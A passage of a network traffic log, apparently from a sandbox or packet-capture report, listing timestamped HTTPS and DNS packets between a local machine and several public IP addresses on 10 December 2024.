Dec 10, 2024 15:11:09.221175909 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.221271992 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.268158913 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.268170118 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.313353062 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.363455057 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.363846064 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.363858938 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.364257097 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.364732027 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.364732027 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.364744902 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.364805937 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.409303904 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.798530102 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.798609972 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.798649073 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.798747063 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.798801899 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.800338984 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.800357103 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.887300968 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.887398005 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:09.887445927 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.888494015 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:09.888516903 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:12.878637075 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:12.878681898 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:12.878745079 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:12.879165888 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:12.879184961 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:14.663142920 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:14.668708086 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:14.668723106 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:14.669220924 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:14.669676065 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:14.669780970 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:14.714142084 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:24.288346052 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:24.288430929 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:24.288515091 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:25.388479948 CET	50197	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:11:25.388499975 CET	443	50197	142.250.181.100	192.168.2.4
Dec 10, 2024 15:11:33.098983049 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.149045944 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.149070978 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.190284967 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.332189083 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.374002934 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.374043941 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.374746084 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.374841928 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.375051975 CET	443	50145	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.375122070 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.375153065 CET	50145	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.378556013 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.378603935 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:33.378663063 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.378926992 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:33.378941059 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.599958897 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.600339890 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:34.600358963 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.601403952 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.601466894 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:34.601814985 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:34.601872921 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.601999998 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:11:34.602010012 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:11:34.654105902 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.085800886 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:05.125603914 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.125646114 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:05.126352072 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.126478910 CET	443	50245	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:05.126559973 CET	50245	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.333087921 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.333168983 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:05.333338022 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.333628893 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:05.333659887 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.558562994 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.559103966 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:06.559139967 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.560292006 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.560389996 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:06.560715914 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:06.560789108 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.560941935 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:06.560962915 CET	443	50315	34.200.203.57	192.168.2.4
Dec 10, 2024 15:12:06.604952097 CET	50315	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:12:12.930860996 CET	50316	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:12:12.930897951 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:12.930975914 CET	50316	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:12:12.931278944 CET	50316	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:12:12.931293011 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:14.623738050 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:14.624083042 CET	50316	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:12:14.624103069 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:14.624447107 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:14.625058889 CET	50316	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:12:14.625134945 CET	443	50316	142.250.181.100	192.168.2.4
Dec 10, 2024 15:12:14.666564941 CET	50316	443	192.168.2.4	142.250.181.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 15:09:09.044925928 CET	53	51702	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:09.046679974 CET	53	56813	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:09.112714052 CET	52800	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:09.112925053 CET	60972	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:09.114324093 CET	51532	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:09.114594936 CET	49813	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:09.720312119 CET	53	49813	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:09.721792936 CET	53	51532	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:11.580554962 CET	56749	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:11.580707073 CET	60763	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:11.808446884 CET	53	51495	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.205584049 CET	58736	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.205935955 CET	56896	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.263641119 CET	49561	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.264013052 CET	50132	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.343971014 CET	53	58736	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.344216108 CET	53	56896	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.681355000 CET	53	49561	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.681382895 CET	53	50132	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.757460117 CET	52011	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.757628918 CET	54136	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:12.894309998 CET	53	54136	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:12.894860029 CET	53	52011	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:16.015649080 CET	57060	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:16.015796900 CET	63610	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:16.152426004 CET	53	57060	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:16.153214931 CET	53	63610	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:19.048120975 CET	53	61867	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:20.751421928 CET	61416	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:20.751616955 CET	55050	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:20.888041019 CET	53	61416	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:20.888957024 CET	53	55050	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:21.503057957 CET	53	52142	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:22.099982977 CET	53	49854	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:22.101938009 CET	53	54621	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:26.839833975 CET	138	138	192.168.2.4	192.168.2.255
Dec 10, 2024 15:09:28.736793041 CET	53	56220	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:40.985023022 CET	62309	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:40.985176086 CET	49805	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:41.020934105 CET	53780	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:41.021116972 CET	58571	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:41.123891115 CET	53	49805	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:41.124890089 CET	53	62309	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:41.525156975 CET	53	58571	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:41.526436090 CET	53	53780	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:42.806498051 CET	63826	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:42.806730986 CET	53963	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:42.944461107 CET	53	63826	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:42.944508076 CET	53	53963	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:45.104572058 CET	51115	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:45.104763985 CET	58145	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:45.336565971 CET	53	58145	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:45.338397980 CET	53	51115	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:47.099817038 CET	65514	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:47.099971056 CET	63876	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:47.237164021 CET	53	63876	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:47.238038063 CET	53	65514	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:47.806118011 CET	53	61213	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:49.280178070 CET	52458	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:49.280375957 CET	50131	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:49.418354034 CET	53	52458	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:49.419606924 CET	53	50131	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:51.225815058 CET	51668	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:51.226011992 CET	51346	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:51.362219095 CET	53	51668	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:51.363360882 CET	53	51346	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:52.320787907 CET	61541	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:52.320975065 CET	52920	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:52.458141088 CET	53	61541	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:52.463368893 CET	53	52920	1.1.1.1	192.168.2.4
Dec 10, 2024 15:09:54.135363102 CET	51604	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:09:54.135571003 CET	62701	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:08.821527958 CET	53	64230	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:10.406728983 CET	53	55502	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:15.985253096 CET	53	51746	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:40.668073893 CET	53	55719	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:40.795347929 CET	51485	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:40.795635939 CET	51286	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:40.934442997 CET	53	51485	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:40.937109947 CET	53	51286	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:42.944540024 CET	57243	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:42.944724083 CET	56742	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:42.945769072 CET	64162	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:42.946074009 CET	53368	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:42.952631950 CET	65479	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:42.952832937 CET	62003	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:43.089252949 CET	53	62003	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.089930058 CET	53	65479	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.227430105 CET	53	53368	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.249623060 CET	53	64162	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.710171938 CET	53	56742	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.710383892 CET	53	57243	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:43.927850962 CET	60759	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:43.928345919 CET	49870	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:44.164815903 CET	53	49870	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:45.220478058 CET	57239	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:45.220478058 CET	61004	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:45.358277082 CET	53	61004	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:45.358294964 CET	53	57239	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.285166025 CET	51904	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.285351992 CET	49229	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.399422884 CET	64135	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.399804115 CET	55198	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.425899982 CET	53	49229	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.508812904 CET	64821	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.509134054 CET	64461	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.536223888 CET	53	64135	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.536447048 CET	53	55198	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.619611979 CET	53671	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.619805098 CET	64443	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.646203995 CET	53	64821	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.646995068 CET	53	64461	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.730835915 CET	62381	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.731175900 CET	62591	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.833342075 CET	53949	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.833862066 CET	53105	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.932657003 CET	53	64443	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.945034981 CET	49385	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.945190907 CET	65318	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:46.982111931 CET	53	53949	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:46.982136965 CET	53	53105	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:47.061491013 CET	51611	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:47.061711073 CET	60670	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:47.081748009 CET	53	49385	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:47.082437992 CET	53	65318	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:47.198033094 CET	53	51611	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:47.202605963 CET	53	60670	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:48.842735052 CET	52910	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.843039036 CET	58436	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.858007908 CET	50317	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.858412027 CET	49433	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.972296000 CET	58142	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.972450018 CET	50950	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:48.995230913 CET	53	50317	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:48.997046947 CET	53	49433	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:49.044502020 CET	53	58436	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:49.108798981 CET	53	58142	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:49.109641075 CET	53	50950	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:50.993251085 CET	58337	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:50.993447065 CET	55261	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:51.399812937 CET	51939	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:51.400091887 CET	62807	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:51.537695885 CET	53	51939	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:51.540611982 CET	53	62807	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:52.394606113 CET	61014	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.394886017 CET	53417	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.754728079 CET	53	53417	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:52.754776955 CET	53	61014	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:52.799236059 CET	63879	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.799504042 CET	63248	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.845041990 CET	64514	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.845320940 CET	65362	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.891601086 CET	65377	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.891874075 CET	61061	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.965934992 CET	49790	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:52.966089010 CET	53920	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:53.079066992 CET	53	65362	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:53.103570938 CET	53	49790	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:53.219275951 CET	53	53920	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:53.278630972 CET	56651	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:53.278776884 CET	61121	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:53.416552067 CET	53	61121	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:53.418128967 CET	53	56651	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:53.904557943 CET	51892	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:53.904879093 CET	56522	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:54.122649908 CET	53	51892	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:54.156403065 CET	53	56522	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:54.868092060 CET	51991	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:54.868225098 CET	55916	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.006736040 CET	53	51991	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:55.007462978 CET	53	55916	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:55.070480108 CET	52758	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.070641994 CET	51051	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.347513914 CET	60279	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.347722054 CET	51563	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.350596905 CET	60198	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.350809097 CET	59330	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:55.484177113 CET	53	60279	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:55.484347105 CET	53	51563	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:55.488214016 CET	53	59330	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:56.770476103 CET	62345	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:56.770632982 CET	59823	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:56.907881975 CET	53	62345	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:56.910599947 CET	53	59823	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:57.009954929 CET	62911	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:57.010459900 CET	57680	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:57.147821903 CET	53	57680	1.1.1.1	192.168.2.4
Dec 10, 2024 15:10:59.583183050 CET	59091	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:59.583476067 CET	60208	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:10:59.721551895 CET	53	60208	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.111742973 CET	62784	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.111892939 CET	63872	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.209394932 CET	61906	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.209570885 CET	54844	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.260544062 CET	53	63872	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.348906040 CET	53	54844	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.376526117 CET	54591	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.376702070 CET	52075	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.437134027 CET	53	61906	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.515678883 CET	53	54591	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.516545057 CET	53	52075	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.652925014 CET	63990	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.653084993 CET	50665	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:01.793817043 CET	53	63990	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:01.794426918 CET	53	50665	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:02.310281038 CET	61910	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:02.310616016 CET	50607	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:02.477474928 CET	62398	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:02.477782965 CET	56761	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:02.538516998 CET	53	61910	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:02.547028065 CET	53	50607	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:02.614998102 CET	53	62398	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:02.617068052 CET	53	56761	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:02.909934044 CET	53282	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:02.910271883 CET	62345	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.047204971 CET	53	62345	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:03.047681093 CET	53	53282	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:03.303814888 CET	59107	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.304100037 CET	49613	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.441797972 CET	53	49613	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:03.712270975 CET	60346	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.712270975 CET	49586	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.722414970 CET	52599	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.722414970 CET	58979	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:03.849545956 CET	53	60346	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:03.850131035 CET	53	49586	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:03.861438036 CET	53	58979	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:04.086654902 CET	55052	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:04.086654902 CET	53146	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:04.224776983 CET	53	55052	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:04.225100040 CET	53	53146	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:04.226725101 CET	61018	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:04.252942085 CET	52637	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:04.253132105 CET	54475	53	192.168.2.4	1.1.1.1
Dec 10, 2024 15:11:04.367028952 CET	53	61018	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:04.390440941 CET	53	54475	1.1.1.1	192.168.2.4
Dec 10, 2024 15:11:04.390487909 CET	53	52637	1.1.1.1	192.168.2.4
